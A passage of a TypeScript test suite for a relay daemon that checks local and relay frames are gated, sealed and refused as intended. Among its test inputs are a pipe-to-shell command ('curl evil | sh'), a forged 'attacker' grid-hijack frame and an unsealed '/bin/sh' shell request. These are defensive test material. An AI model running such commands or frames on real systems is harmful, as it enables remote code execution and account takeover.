socket.registerLocalClient('local:burst', { sendFrame: (frame) => { frames.push(frame); return true }, sendBinary: () => true })
socket.handleLocalFrame('local:burst', { type: 'grid_models_list', payload: { requestId: 'grid' } })
socket.handleLocalFrame('local:burst', { type: 'usage_read', payload: { requestId: 'usage' } })
socket.handleLocalFrame('local:burst', { type: 'agents_list', payload: { requestId: 'agents' } })
await vi.waitFor(() => expect(frames.some((f) => f.type === 'agents_list_result')).toBe(true))
expect(frames.some((f) => f.type === 'grid_models_list_result')).toBe(false)
expect(frames.some((f) => f.type === 'usage_read_result')).toBe(false)
await socket.unregisterLocalClient('local:burst')
await socket.stop()
})
})
describe('machine_meta carries the grid name without clobbering it on rename', () => {
afterEach(() => { wsMock.instances.length = 0 })
it('keeps the grid name when a later rename frame omits gridName, and clears it only on an explicit null', async () => {
const socket = relaySocket('token')
// Frames are processed through a queue, so `onMachineMeta` is how a test knows one has landed.
const namesSeen: Array<string | null> = []
socket.onMachineMeta = (n) => { namesSeen.push(n) }
socket.connect()
const ws = wsMock.instances[0]
ws.open()
// Connect frame: name and grid together.
ws.message({ t: 'down', connId: '', frame: { type: 'machine_meta', payload: { name: 'mac', gridName: 'someone-7f3a91c4' } } })
await vi.waitFor(() => expect(socket.gridName()).toBe('someone-7f3a91c4'))
// A rename pushes `{ name }` alone — it must NOT wipe the grid name (the bug that left the picker
// empty the moment a machine was renamed). Wait until the rename is observably processed, then
// confirm the grid name survived it.
ws.message({ t: 'down', connId: '', frame: { type: 'machine_meta', payload: { name: 'renamed' } } })
await vi.waitFor(() => expect(namesSeen).toContain('renamed'))
expect(socket.gridName()).toBe('someone-7f3a91c4')
// An explicit null is the account genuinely having no grid, and does clear it.
ws.message({ t: 'down', connId: '', frame: { type: 'machine_meta', payload: { name: 'renamed', gridName: null } } })
await vi.waitFor(() => expect(socket.gridName()).toBeNull())
await socket.stop()
})
it("keeps the machine's own name, for the models it serves — a rename updates it, a frame without one does not", async () => {
const socket = relaySocket('token')
const namesSeen: Array<string | null> = []
socket.onMachineMeta = (n) => { namesSeen.push(n) }
socket.connect()
const ws = wsMock.instances[0]
ws.open()
expect(socket.machineName()).toBeNull()
ws.message({ t: 'down', connId: '', frame: { type: 'machine_meta', payload: { name: ' M2 ', gridName: 'someone-7f3a91c4' } } })
await vi.waitFor(() => expect(socket.machineName()).toBe('M2'))
ws.message({ t: 'down', connId: '', frame: { type: 'machine_meta', payload: { name: 'Studio' } } })
await vi.waitFor(() => expect(socket.machineName()).toBe('Studio'))
ws.message({ t: 'down', connId: '', frame: { type: 'machine_meta', payload: { gridName: 'someone-7f3a91c4' } } })
await vi.waitFor(() => expect(namesSeen).toHaveLength(3))
expect(socket.machineName()).toBe('Studio')
await socket.stop()
})
it('refuses a machine_meta that arrived over the LOCAL socket — only the backend may name the grid', async () => {
const socket = relaySocket('token')
const namesSeen: Array<string | null> = []
socket.onMachineMeta = (n) => { namesSeen.push(n) }
socket.connect()
const ws = wsMock.instances[0]
ws.open()
// The backend's own frame sets it, as always.
ws.message({ t: 'down', connId: '', frame: { type: 'machine_meta', payload: { name: 'mac', gridName: 'someone-7f3a91c4' } } })
await vi.waitFor(() => expect(socket.gridName()).toBe('someone-7f3a91c4'))
// Now the same frame from a process on this machine, through the local socket — the shape of the
// leftover script that once redirected this account's agents onto a grid of its choosing.
const local = 'local:1'
socket.registerLocalClient(local, { sendFrame: () => true, sendBinary: () => true })
socket.handleLocalFrame(local, { type: 'machine_meta', payload: { name: 'hijacked', gridName: 'attacker-deadbeef' } })
// Give the queue a turn: the frame must be dropped whole, so neither half of it lands.
await new Promise((r) => setTimeout(r, 50))
expect(socket.gridName()).toBe('someone-7f3a91c4')
expect(namesSeen).not.toContain('hijacked')
await socket.stop()
})
it('refuses a machine_revoked over the LOCAL socket — one frame would otherwise sign this computer out', async () => {
const socket = relaySocket('token')
let revoked = 0
socket.onRevoked = () => { revoked += 1 }
socket.connect()
const ws = wsMock.instances[0]
ws.open()
// `onRevoked` clears the stored SSO session and exits the daemon, so accepting this from a local
// process is a one-frame forced sign-out and denial of service.
const local = 'local:1'
socket.registerLocalClient(local, { sendFrame: () => true, sendBinary: () => true })
socket.handleLocalFrame(local, { type: 'machine_revoked', payload: {} })
await new Promise((r) => setTimeout(r, 50))
expect(revoked).toBe(0)
// The backend's own frame still works — the gate is about the sender, not the frame.
ws.message({ t: 'down', connId: '', frame: { type: 'machine_revoked', payload: {} } })
await vi.waitFor(() => expect(revoked).toBe(1))
await socket.stop()
})
it('says whose key a device-key-log removal spent before signing out, and nothing for a plain revoke', async () => {
const socket = relaySocket('token')
const order: string[] = []
gatewayOf(socket).onDeviceRemoved = (pub) => { order.push(`removed:${pub}`) }
socket.onRevoked = () => { order.push('revoked') }
socket.connect()
const ws = wsMock.instances.at(-1)!
ws.open()
ws.message({ t: 'down', connId: '', frame: { type: 'machine_revoked', payload: { reason: 'device_removed', pub: 'PUB' } } })
await vi.waitFor(() => expect(order).toEqual(['removed:PUB', 'revoked']))
await socket.stop()
const plain = relaySocket('token')
let removed = 0
gatewayOf(plain).onDeviceRemoved = () => { removed += 1 }
plain.onRevoked = () => {}
plain.connect()
const ws2 = wsMock.instances.at(-1)!
ws2.open()
ws2.message({ t: 'down', connId: '', frame: { type: 'machine_revoked', payload: {} } })
await new Promise((r) => setTimeout(r, 50))
expect(removed).toBe(0)
await plain.stop()
})
it('keeps running when the removed key is ANOTHER key under this machine id (an earlier install it waits behind)', async () => {
// A reinstall that kept the computer id finds its machine id held by the old install's key
// (device_conflict). Removing that key makes the backend send `machine_revoked` to the machine id —
// which this daemon now answers for. That removal is what lets this key register, not a sign-out.
const socket = relaySocket('token')
const seen: string[] = []
gatewayOf(socket).isOwnDeviceKey = (pub) => pub === 'MINE'
gatewayOf(socket).onDeviceRemoved = (pub) => { seen.push(`removed:${pub}`) }
socket.onRevoked = () => { seen.push('revoked') }
gatewayOf(socket).onDeviceKeysChanged = () => { seen.push('reread') }
socket.connect()
const ws = wsMock.instances.at(-1)!
ws.open()
ws.message({ t: 'down', connId: '', frame: { type: 'machine_revoked', payload: { reason: 'device_removed', pub: 'OLD_INSTALL' } } })
await vi.waitFor(() => expect(seen).toEqual(['reread']))
// Still linked: a later frame for its OWN key signs it out as before.
ws.message({ t: 'down', connId: '', frame: { type: 'machine_revoked', payload: { reason: 'device_removed', pub: 'MINE' } } })
await vi.waitFor(() => expect(seen).toEqual(['reread', 'removed:MINE', 'revoked']))
await socket.stop()
// A plain revoke (the machine deleted) still ends the sign-in whatever the key.
const plain = relaySocket('token')
let revoked = 0
gatewayOf(plain).isOwnDeviceKey = () => false
plain.onRevoked = () => { revoked += 1 }
plain.connect()
const ws2 = wsMock.instances.at(-1)!
ws2.open()
ws2.message({ t: 'down', connId: '', frame: { type: 'machine_revoked', payload: {} } })
await vi.waitFor(() => expect(revoked).toBe(1))
await plain.stop()
})
})
/** The read-only hardware line for the run-a-harness-compute dialog, answered next to `grid_models_list`. */
describe('Autonomous direct isolation from existing relay/browser behavior', () => {
it('permits offline PAKE only for the exact live direct pending connection', async () => {
const backend = relaySocket('direct-offline-test')
const send = vi.fn()
gatewayOf(backend).attachDirectDevice('autonomous-direct:test', send)
const pairId = Buffer.alloc(16, 1).toString('base64')
gatewayOf(backend).e2ee.handleFrame('browser', { type: 'e2e_pair_intent', payload: { pairId, role: 'web', label: 'Browser' } })
expect(await gatewayOf(backend).pair('K7P4X9')).toEqual({ ok: false, error: 'BACKEND_DOWN' })
await gatewayOf(backend).receiveDirectDevice('autonomous-direct:test', { type: 'e2e_pair_intent', payload: { pairId, role: 'device', label: 'Autonomous device' } }, true)
const paired = gatewayOf(backend).pair('K7P4X9')
expect(send).toHaveBeenCalledWith(expect.objectContaining({ type: 'e2e_pake' }))
await gatewayOf(backend).receiveDirectDevice('autonomous-direct:test', { type: 'e2e_pair_cancel', payload: { pairId } }, true)
expect(await paired).toEqual({ ok: false, error: 'CANCELLED' })
gatewayOf(backend).detachDirectDevice('autonomous-direct:test')
})
it('never dispatches setup/password/admin/terminal frames from a discovered endpoint', async () => {
const backend = relaySocket('direct-whitelist-test')
gatewayOf(backend).attachDirectDevice('autonomous-direct:test', vi.fn())
const handle = vi.spyOn(gatewayOf(backend).e2ee, 'handleFrame').mockReturnValue(true)
for (const type of ['e2e_setup_claim', 'e2e_pw_pair_intent', 'e2e_pw_pake', 'terminal_open', 'machine_revoked', '__clients']) {
await gatewayOf(backend).receiveDirectDevice('autonomous-direct:test', { type, payload: {} }, true)
}
expect(handle).not.toHaveBeenCalled()
await gatewayOf(backend).receiveDirectDevice('autonomous-direct:test', { type: 'e2e_pair_intent', payload: {} }, false)
expect(handle).not.toHaveBeenCalled()
await gatewayOf(backend).receiveDirectDevice('autonomous-direct:test', { type: 'e2e_hello', payload: {} }, false)
expect(handle).toHaveBeenCalledOnce()
gatewayOf(backend).detachDirectDevice('autonomous-direct:test')
})
})
describe('agent_recent replies', () => {
// Three long answers — well past the dial's ~15KB frame — as a working agent's recaps are.
const answer = (turn: number) => `Turn ${turn}: ${'the llama.cpp build is b4521 and '.repeat(250)}`
const events = [1, 2, 3].map((turn) => ({ kind: 'summary', text: `body ${turn}`, recap: `recap ${turn}`, fullText: answer(turn) }))
async function recentReplyFor(role: 'web' | 'device') {
const socket = relaySocket('token')
// The recaps module's answer (core/turns/recaps.ts); what this checks is the socket's fitting of it.
socket.agentRecentProvider = () => ({ agentId: 'a1', events, asks: ['which llama.cpp build is this?'] })
socket.connect()
const ws = wsMock.instances.at(-1)!
ws.open()
vi.spyOn(gatewayOf(socket).e2ee, 'unwrapDown').mockReturnValue({ type: 'agent_recent', payload: { requestId: 'recent-1', agentId: 'a1', n: 3 } })
vi.spyOn(gatewayOf(socket).e2ee, 'hasSession').mockReturnValue(true)
vi.spyOn(gatewayOf(socket).e2ee, 'sessionRole').mockReturnValue(role)
vi.spyOn(gatewayOf(socket).e2ee, 'rpcReplyFrameBytes').mockImplementation((_c, _t, _r, payload) => Buffer.byteLength(JSON.stringify(payload)))
const wrapReply = vi.spyOn(gatewayOf(socket).e2ee, 'wrapRpcReply').mockReturnValue({
type: 'agent_recent_result', payload: { __e2e: { v: 1, k: 's', n: 1, ct: 'ciphertext' } },
})
ws.message({ t: 'down', connId: 'conn-1', frame: { type: 'agent_recent', payload: { __e2e: { v: 1, k: 's', n: 1, ct: 'ciphertext' } } } })
await vi.waitFor(() => expect(wrapReply).toHaveBeenCalled())
await socket.stop()
return wrapReply.mock.calls[0][3] as { events: Array<Record<string, unknown>>; asks: string[] }
}
it('reaches the phone and a remote desktop whole, full answers included', async () => {
const reply = await recentReplyFor('web')
expect(reply.events).toHaveLength(3)
expect(reply.events[0].fullText).toBe(answer(1))
expect(reply.asks).toEqual(['which llama.cpp build is this?'])
})
it('is still fitted to the dial’s frame for a device', async () => {
const reply = await recentReplyFor('device')
expect(reply.events).toHaveLength(1)
expect(reply.events[0]).not.toHaveProperty('fullText')
})
})
describe('request sources', () => {
it.each(['phone', 'Desktop'] as const)('%s: names a project preparation refusal for a Claude or Codex creation', async surface => {
const socket = relaySocket('token')
bindLaunchRequests(socket)
socket.connect()
const ws = wsMock.instances.at(-1)!
ws.open()
const counters: string[] = [], signals: unknown[] = []
vi.spyOn(gatewayOf(socket), 'usageCounter').mockImplementation(metric => { counters.push(metric) })
vi.spyOn(gatewayOf(socket), 'usageLaunch').mockImplementation(signal => { signals.push(signal) })
// The real creation handler translates this imported helper's refusal into a durable receipt.
vi.spyOn(projectFolder, 'prepareProjectFolder').mockRejectedValue(new projectFolder.ProjectFolderError('WORKTREE_FAILED', 'PRIVATE_CANARY'))
socket.onCreateAgent = vi.fn()
socket.registerLocalClient('local:creation-report', { sendFrame: () => true, sendBinary: () => true })
vi.spyOn(gatewayOf(socket).e2ee, 'hasSession').mockReturnValue(true)
vi.spyOn(gatewayOf(socket).e2ee, 'sessionRole').mockReturnValue('web')
try {
for (const engine of ['claude', 'codex']) {
const creationId = randomUUID()
const frame = { type: 'agent_create', payload: { creationId, requestId: creationId, engine,
projectSource: 'worktree', gitSource: '/PRIVATE_FOLDER', ...(surface === 'phone' ? { usageSurface: 'phone' } : {}) } }
if (surface === 'phone') {
vi.spyOn(gatewayOf(socket).e2ee, 'unwrapDown').mockReturnValue(frame)
ws.message({ t: 'down', connId: 'phone-creation-report', frame: { type: 'agent_create', payload: { __e2e: { v: 1, k: 's', n: 1, ct: 'ciphertext' } } } })
} else socket.handleLocalFrame('local:creation-report', frame)
await vi.waitFor(() => expect(signals).toContainEqual({ id: creationId, phase: 'failed', failure: 'other', code: 'worktree_failed' }))
}
expect(counters.filter(name => name === 'create_error_code_worktree_failed')).toHaveLength(2)
expect(counters.filter(name => name === `request_${surface === 'phone' ? 'phone' : 'app'}_create_failed`)).toHaveLength(2)
expect(socket.onCreateAgent).not.toHaveBeenCalled()
expect(JSON.stringify([counters, signals])).not.toContain('PRIVATE')
} finally {
await socket.unregisterLocalClient('local:creation-report')
await socket.stop()
vi.restoreAllMocks()
}
})
// The counter a request starts with, for a remote `web` client: the phone only by its own word.
async function startedFor(payload: Record<string, unknown>) {
const socket = relaySocket('token')
socket.connect()
const ws = wsMock.instances.at(-1)!
ws.open()
const counted: string[] = []
vi.spyOn(gatewayOf(socket), 'usageCounter').mockImplementation((metric) => { counted.push(metric) })
vi.spyOn(gatewayOf(socket).e2ee, 'unwrapDown').mockReturnValue({
type: 'session_search', payload: { requestId: 'search-1', query: 'llama', ...payload },
})
vi.spyOn(gatewayOf(socket).e2ee, 'hasSession').mockReturnValue(true)
vi.spyOn(gatewayOf(socket).e2ee, 'sessionRole').mockReturnValue('web')
ws.message({ t: 'down', connId: 'conn-1', frame: { type: 'session_search', payload: { __e2e: { v: 1, k: 's', n: 1, ct: 'ciphertext' } } } })
await vi.waitFor(() => expect(counted).toContain('search_requests'))
await socket.stop()
vi.restoreAllMocks()
return counted
}
it('counts a phone\'s request as the phone\'s, and the browser\'s as an app\'s as before', async () => {
const phone = await startedFor({ usageSurface: 'phone' })
expect(phone).toContain('request_phone_search_started')
expect(phone).not.toContain('request_app_search_started')
expect(await startedFor({})).toContain('request_app_search_started')
})
it('counts what became of a phone\'s message, which nothing answers, under the phone', async () => {
const socket = relaySocket('token')
socket.connect()
const ws = wsMock.instances.at(-1)!
ws.open()
const counted: string[] = []
vi.spyOn(gatewayOf(socket), 'usageCounter').mockImplementation((metric) => { counted.push(metric) })
const message = { type: 'message', payload: { agentId: 'a1', content: 'PRIVATE_TEXT', usageSurface: 'phone' } }
vi.spyOn(gatewayOf(socket).e2ee, 'unwrapDown').mockReturnValue(message)
vi.spyOn(gatewayOf(socket).e2ee, 'hasSession').mockReturnValue(true)
vi.spyOn(gatewayOf(socket).e2ee, 'sessionRole').mockReturnValue('web')
const handed: Array<[Record<string, unknown>, ((outcome: 'started' | 'held') => void) | undefined]> = []
socket.messageProvider = (payload, receipt) => { handed.push([payload, receipt]) }
for (const n of [1, 2]) {
ws.message({ t: 'down', connId: 'conn-1', frame: { type: 'message', payload: { __e2e: { v: 1, k: 's', n, ct: 'ciphertext' } } } })
}
await vi.waitFor(() => expect(handed).toHaveLength(2))
expect(counted).toEqual(['request_phone_message_started', 'request_phone_message_started'])
handed[0]![1]!('started')
handed[1]![1]!('held')
expect(counted.slice(2)).toEqual(['request_phone_message_ok', 'request_phone_message_failed', 'request_phone_message_error_conflict'])
expect(JSON.stringify(counted)).not.toContain('PRIVATE')
await socket.stop()
vi.restoreAllMocks()
})
})
describe('machines_changed relay', () => {
// Earlier suites in this file leave their sockets in the mock's list; index 0 must be ours.
beforeEach(() => { wsMock.instances.length = 0 })
afterEach(() => {
wsMock.instances.length = 0
vi.restoreAllMocks()
})
it('hands the backend\'s machines_changed to the window, and only the backend\'s', async () => {
const socket = relaySocket('token')
const frames: Array<Record<string, unknown>> = []
socket.registerLocalClient('local:machines', { sendFrame: (frame) => { frames.push(frame); return true }, sendBinary: () => true })
socket.connect()
const ws = wsMock.instances[0]
ws.open()
ws.message({ t: 'down', connId: '', frame: { type: 'machines_changed', payload: { reason: 'updated' } } })
await vi.waitFor(() => expect(frames).toContainEqual({ type: 'machines_changed', payload: { reason: 'updated' } }))
// A local client cannot make every window of this computer re-read the list by saying so.
socket.handleLocalFrame('local:machines', { type: 'machines_changed', payload: { reason: 'forged' } })
await new Promise((r) => setTimeout(r, 20))
expect(frames.filter((f) => f.type === 'machines_changed')).toHaveLength(1)
await socket.unregisterLocalClient('local:machines')
await socket.stop()
})
it('hands a shares notice on at a random moment within 10 s, and a burst of them once', async () => {
// Prod 2026-10-28: one invitation told every computer of its recipient at once, and each window read the shares list
// in the same second; across a Swarm's members those reads came in waves that held the backend at its pod limit.
vi.useFakeTimers()
vi.spyOn(Math, 'random').mockReturnValue(0.5)
const socket = relaySocket('token')
const frames: Array<Record<string, unknown>> = []
socket.registerLocalClient('local:machines', { sendFrame: (frame) => { frames.push(frame); return true }, sendBinary: () => true })
socket.connect()
const ws = wsMock.instances[0]
ws.open()
const shares = () => frames.filter((f) => f.type === 'machines_changed')
for (let i = 0; i < 3; i++) ws.message({ t: 'down', connId: '', frame: { type: 'machines_changed', payload: { reason: 'harness_shares' } } })
await vi.advanceTimersByTimeAsync(4_900)
expect(shares()).toEqual([])
await vi.advanceTimersByTimeAsync(200)
expect(shares()).toEqual([{ type: 'machines_changed', payload: { reason: 'harness_shares' } }])
// A notice after that one was handed on is handed on again: its read must come after the change it tells.
ws.message({ t: 'down', connId: '', frame: { type: 'machines_changed', payload: { reason: 'harness_shares' } } })
await vi.advanceTimersByTimeAsync(5_100)
expect(shares()).toHaveLength(2)
// Another reason is not held back.
ws.message({ t: 'down', connId: '', frame: { type: 'machines_changed', payload: { reason: 'renamed' } } })
await vi.advanceTimersByTimeAsync(0)
expect(shares()).toHaveLength(3)
await socket.unregisterLocalClient('local:machines')
await socket.stop()
vi.useRealTimers()
})
it('relays a reason it can show and nothing else from the payload', async () => {
const socket = relaySocket('token')
const frames: Array<Record<string, unknown>> = []
socket.registerLocalClient('local:machines', { sendFrame: (frame) => { frames.push(frame); return true }, sendBinary: () => true })
socket.connect()
const ws = wsMock.instances[0]
ws.open()
ws.message({ t: 'down', connId: '', frame: { type: 'machines_changed', payload: { reason: 42, extra: 'x' } } })
await vi.waitFor(() => expect(frames).toContainEqual({ type: 'machines_changed', payload: { reason: 'updated' } }))
await socket.unregisterLocalClient('local:machines')
await socket.stop()
})
})
describe('local terminal focus', () => {
it('passes a registered window\'s focus to its terminals, and ignores a connection it never registered', async () => {
const socket = relaySocket('token')
const setFocusedAgent = vi.fn()
socket.setTerminalStreamManager({
setFocusedAgent,
closeConnection: vi.fn(async () => undefined),
closeConnectionsWhere: vi.fn(async () => undefined),
stop: vi.fn(async () => undefined),
} as unknown as TerminalStreamManager)
socket.registerLocalClient('local:window', { sendFrame: () => true, sendBinary: () => true })
socket.setLocalTerminalFocus('local:window', 'agent-1')
socket.setLocalTerminalFocus('local:window', null)
socket.setLocalTerminalFocus('local:stranger', 'agent-1')
expect(setFocusedAgent.mock.calls).toEqual([['local:window', 'agent-1'], ['local:window', null]])
await socket.unregisterLocalClient('local:window')
await socket.stop()
})
})
describe('question_response reports what became of the answer', () => {
// The answer is keyed into the agent's own terminal, and it can arrive after the dialog it was for has
// gone — the agent moved on, another client answered. The daemon then types nothing, and the client
// that answered has to hear why, or it reports "Answered" for an answer that went nowhere.
afterEach(() => {
wsMock.instances.length = 0
vi.restoreAllMocks()
})
function harness() {
const socket = relaySocket('token')
const frames: Array<{ type: string; payload: Record<string, unknown> }> = []
socket.registerLocalClient('local:hn', { sendFrame: (frame) => { frames.push(frame as { type: string; payload: Record<string, unknown> }); return true }, sendBinary: () => true })
const dispatch = (payload: Record<string, unknown>) =>
dispatchDown(socket, { type: 'question_response', payload }, 'local:hn', 'local') as Promise<void>
const results = () => frames.filter((f) => f.type === 'question_response_result')
return { socket, dispatch, results }
}
it('replies STALE_QUESTION under the question\'s own requestId when the dialog changed first', async () => {
const { socket, dispatch, results } = harness()
const answer = vi.fn(async () => ({ ok: false as const, error: 'STALE_QUESTION' as const, detail: 'That question changed before your answer arrived.' }))
bindQuestionResponse(socket, answer)
await dispatch({ agentId: 'a1', requestId: 'q_0badf00d', answers: { 'Approve Bash command: ls': 'Yes' } })
await vi.waitFor(() => expect(results()).toHaveLength(1))
expect(results()[0].payload).toEqual({ requestId: 'q_0badf00d', error: 'STALE_QUESTION', detail: 'That question changed before your answer arrived.' })
expect(answer).toHaveBeenCalledWith({ agentId: 'a1', requestId: 'q_0badf00d', answers: { 'Approve Bash command: ls': 'Yes' } })
await socket.unregisterLocalClient('local:hn')
})
it('replies ok once the answer was typed', async () => {
const { socket, dispatch, results } = harness()
bindQuestionResponse(socket, vi.fn(async () => ({ ok: true as const })))
await dispatch({ agentId: 'a1', requestId: 'q_1', answers: { q: 'Tea' } })
await vi.waitFor(() => expect(results()).toHaveLength(1))
expect(results()[0].payload).toEqual({ requestId: 'q_1', ok: true })
await socket.unregisterLocalClient('local:hn')
})
it('tells the window that answered, and no other window', async () => {
const { socket, dispatch, results } = harness()
const other: Array<{ type: string }> = []
socket.registerLocalClient('local:other', { sendFrame: (frame) => { other.push(frame as { type: string }); return true }, sendBinary: () => true })
bindQuestionResponse(socket, vi.fn(async () => ({ ok: true as const })))
await dispatch({ agentId: 'a1', requestId: 'q_1', answers: { q: 'Tea' } })
await vi.waitFor(() => expect(results()).toHaveLength(1))
expect(other.filter((f) => f.type === 'question_response_result')).toEqual([])
await socket.unregisterLocalClient('local:other')
await socket.unregisterLocalClient('local:hn')
})
it('answers a relayed answerer alone and sealed — never every window and web client of this machine', async () => {
// A dial, a phone, or another machine relaying for its app answered over the relay. What became of
// that answer is its business: broadcast, every window here and every web client of this machine was
// handed a `question_response_result` for an answer it never gave, in the clear.
const socket = relaySocket('token')
const windowFrames: Array<{ type: string }> = []
socket.registerLocalClient('local:window', { sendFrame: (frame) => { windowFrames.push(frame as { type: string }); return true }, sendBinary: () => true })
const stale = { ok: false as const, error: 'STALE_QUESTION' as const, detail: 'That question changed before your answer arrived.' }
const answer = vi.fn(async () => stale)
bindQuestionResponse(socket, answer)
socket.connect()
const ws = wsMock.instances[0]
ws.open()
vi.spyOn(gatewayOf(socket).e2ee, 'hasSession').mockImplementation((connId: string) => connId === 'dial-1')
const wrapReply = vi.spyOn(gatewayOf(socket).e2ee, 'wrapRpcReply').mockReturnValue({
type: 'question_response_result', payload: { __e2e: { v: 1, k: 'p', n: 1, ct: 'ciphertext' } },
})
ws.message(sealedDown(socket, 'dial-1', 'question_response', { requestId: 'q_0badf00d', agentId: 'a1', answers: { q: 'Yes' } }))
await vi.waitFor(() => {
expect(wrapReply).toHaveBeenCalledWith('dial-1', 'question_response_result', 'q_0badf00d', { error: stale.error, detail: stale.detail })
})
await vi.waitFor(() => {
const results = parseSent(ws).filter((item) => (item.frame as { type?: string } | undefined)?.type === 'question_response_result')
expect(results).toEqual([expect.objectContaining({
targetConnId: 'dial-1',
frame: { type: 'question_response_result', payload: { __e2e: { v: 1, k: 'p', n: 1, ct: 'ciphertext' } } },
})])
})
expect(answer).toHaveBeenCalledWith({ requestId: 'q_0badf00d', agentId: 'a1', answers: { q: 'Yes' } })
expect(windowFrames.filter((f) => f.type === 'question_response_result')).toEqual([])
await socket.unregisterLocalClient('local:window')
await socket.stop()
})
it('still answers only that connection when its session is gone by the time the answer is typed', async () => {
// Keying a dialog takes seconds; the answerer can drop in between. Nothing to seal with then — it gets a
// bare error, addressed to it, and nobody else hears anything.
const socket = relaySocket('token')
bindQuestionResponse(socket, vi.fn(async () => ({ ok: true as const })))
socket.connect()
const ws = wsMock.instances[0]
ws.open()
vi.spyOn(gatewayOf(socket).e2ee, 'hasSession').mockReturnValue(false)
ws.message(sealedDown(socket, 'phone-1', 'question_response', { requestId: 'q_1', agentId: 'a1', answers: { q: 'Tea' } }))
await vi.waitFor(() => {
const results = parseSent(ws).filter((item) => (item.frame as { type?: string } | undefined)?.type === 'question_response_result')
expect(results).toEqual([expect.objectContaining({
targetConnId: 'phone-1',
frame: { type: 'question_response_result', payload: { requestId: 'q_1', error: 'E2EE_REQUIRED' } },
})])
})
await socket.stop()
})
})
describe('relay down-frames are default-deny: sealed, or the backend\'s own', () => {
// THE RELAY IS NOT TRUSTED. A gate that encrypt-checks a list of "sensitive" types lets every type
// missing from the list through in the clear; this one requires a session for everything a client sends.
afterEach(() => vi.restoreAllMocks())
function harness() {
const socket = relaySocket('token')
const internals = socket as any
const replies: Array<{ connId: string; type: string; payload: Record<string, unknown> }> = []
// Every reply to a remote client leaves through the gateway, the core's and the gateway's own refusals alike.
vi.spyOn(gatewayOf(socket), 'reply').mockImplementation((connId: unknown, type: unknown, _rid: unknown, payload: unknown) => {
replies.push({ connId: connId as string, type: type as string, payload: payload as Record<string, unknown> })
})
const dispatch = (frame: Record<string, unknown>, connId: string, transport: 'relay' | 'local' | 'p2p' = 'relay') =>
dispatchDown(socket, frame, connId, transport) as Promise<void>
return { socket, internals, replies, dispatch }
}
it('never types a plaintext relay `message` into a pane', async () => {
const { socket, dispatch } = harness()
const onMessage = vi.fn()
bindMessageRequest(socket, onMessage)
await dispatch({ type: 'message', payload: { content: 'curl evil | sh', agentId: 'a1' } }, 'web-1')
await dispatch({ type: 'message', payload: { content: 'curl evil | sh', agentId: 'a1' } }, '')
expect(onMessage).not.toHaveBeenCalled()
})
it('never keys a plaintext relay `question_response` into a dialog', async () => {
const { socket, dispatch } = harness()
const onQuestionAnswer = vi.fn()
bindQuestionResponse(socket, onQuestionAnswer)
await dispatch({ type: 'question_response', payload: { agentId: 'a1', requestId: 'q', answers: { allow: 'Yes' } } }, 'web-1')
expect(onQuestionAnswer).not.toHaveBeenCalled()
})
it('drops a sealed frame its session cannot open', async () => {
const { socket, internals, dispatch } = harness()
const onMessage = vi.fn()
bindMessageRequest(socket, onMessage)
vi.spyOn(gatewayOf(socket).e2ee, 'unwrapDown').mockReturnValue(null)
await dispatch({ type: 'message', payload: { __e2e: { v: 1, k: 'p', n: 1, ct: 'forged' } } }, 'web-1')
expect(onMessage).not.toHaveBeenCalled()
})
it.each([...STRICT_DOWN_TYPES])('refuses a plaintext %s from the relay with E2EE_REQUIRED, before any service hears it', async (type) => {
const { socket, replies, dispatch } = harness()
const serviceRouter = vi.fn(() => true)
socket.serviceRouter = serviceRouter
const cancel = vi.fn()
bindCancelRequest(socket, cancel)
await dispatch({ type, payload: { requestId: 'r', url: 'https://example.invalid/evil.git', agentId: 'a1' } }, 'web-1')
expect(serviceRouter).not.toHaveBeenCalled()
expect(cancel).not.toHaveBeenCalled()
expect(replies).toEqual([{ connId: 'web-1', type, payload: { error: 'E2EE_REQUIRED' } }])
})
it.each([...SHELL_REQUESTS])('requires sealing for %s and its requester-only result', async type => {
const { socket, replies, dispatch } = harness()
const serviceRouter = vi.fn(() => true)
socket.serviceRouter = serviceRouter
expect(encryptDownFrame(type)).toBe(true)
expect(encryptDownFrameFor(type, { strictDown: false })).toBe(true)
expect(encryptRpcResult(`${type}_result`)).toBe(true)
await dispatch({ type, payload: { requestId: 'r', argv: ['/bin/sh'], cwd: '/tmp', owner: true } }, 'web-1')
expect(serviceRouter).not.toHaveBeenCalled()
expect(replies).toEqual([{ connId: 'web-1', type, payload: { error: 'E2EE_REQUIRED' } }])
})
it.each([...SHELL_REQUESTS])('refuses a sealed %s from a device even when its payload claims ownership', async type => {
const { socket, replies, dispatch } = harness()
const core = fakeCore()
serveOn(socket, host => host.serve('shell', startShell, core, SHELL_REQUESTS))
vi.spyOn(gatewayOf(socket).e2ee, 'sessionRole').mockReturnValue('device')
await dispatch(sealedDown(socket, 'device-1', type, { requestId: 'r', owner: true }).frame, 'device-1')
await vi.waitFor(() => expect(replies).toEqual([{ connId: 'device-1', type, payload: { error: 'OWNER_REQUIRED' } }]))
expect(core.terminals.open).not.toHaveBeenCalled()
})
// Launch flags run as the owner: only the owner's own app may send them (core/agents/launches.ts decides from this).
it.each(['agent_restart', 'agent_resume'])('tells the launch provider whether a %s came from the owner\'s own app, never a device or an agent\'s own CLI', async type => {
const { socket, dispatch } = harness()
const provider = vi.fn(async (_type: string, _payload: Record<string, unknown>, reply: (result: Record<string, unknown>) => void, _asker: { ownerApp: boolean }) => reply({}))
socket.restartProvider = provider
const role = vi.spyOn(gatewayOf(socket).e2ee, 'sessionRole')
role.mockReturnValue('web')
await dispatch(sealedDown(socket, 'web-1', type, { requestId: 'r', agentId: 'a1', launchArgs: '--chrome' }).frame, 'web-1')
await vi.waitFor(() => expect(provider).toHaveBeenCalledTimes(1))
expect(provider.mock.calls[0]![3]).toEqual({ ownerApp: true })
role.mockReturnValue('device')
await dispatch(sealedDown(socket, 'device-1', type, { requestId: 'r', agentId: 'a1', launchArgs: '--chrome' }).frame, 'device-1')
await vi.waitFor(() => expect(provider).toHaveBeenCalledTimes(2))
const sink = { sendFrame: () => true, sendBinary: () => true }
expect(socket.registerLocalClient('local:app', sink)).toBe(true)
expect(socket.registerLocalClient('local:tool', sink, { tool: true })).toBe(true)
socket.handleLocalFrame('local:app', { type, payload: { requestId: 'r', agentId: 'a1' } })
socket.handleLocalFrame('local:tool', { type, payload: { requestId: 'r', agentId: 'a1' } })
await vi.waitFor(() => expect(provider).toHaveBeenCalledTimes(4))
expect(provider.mock.calls.slice(1).map(call => call[3])).toEqual([{ ownerApp: false }, { ownerApp: true }, { ownerApp: false }])
await socket.unregisterLocalClient('local:app')
await socket.unregisterLocalClient('local:tool')
})
it('hands a sealed dsh_install from a paired client to the service that answers it', async () => {
const { socket, dispatch } = harness()
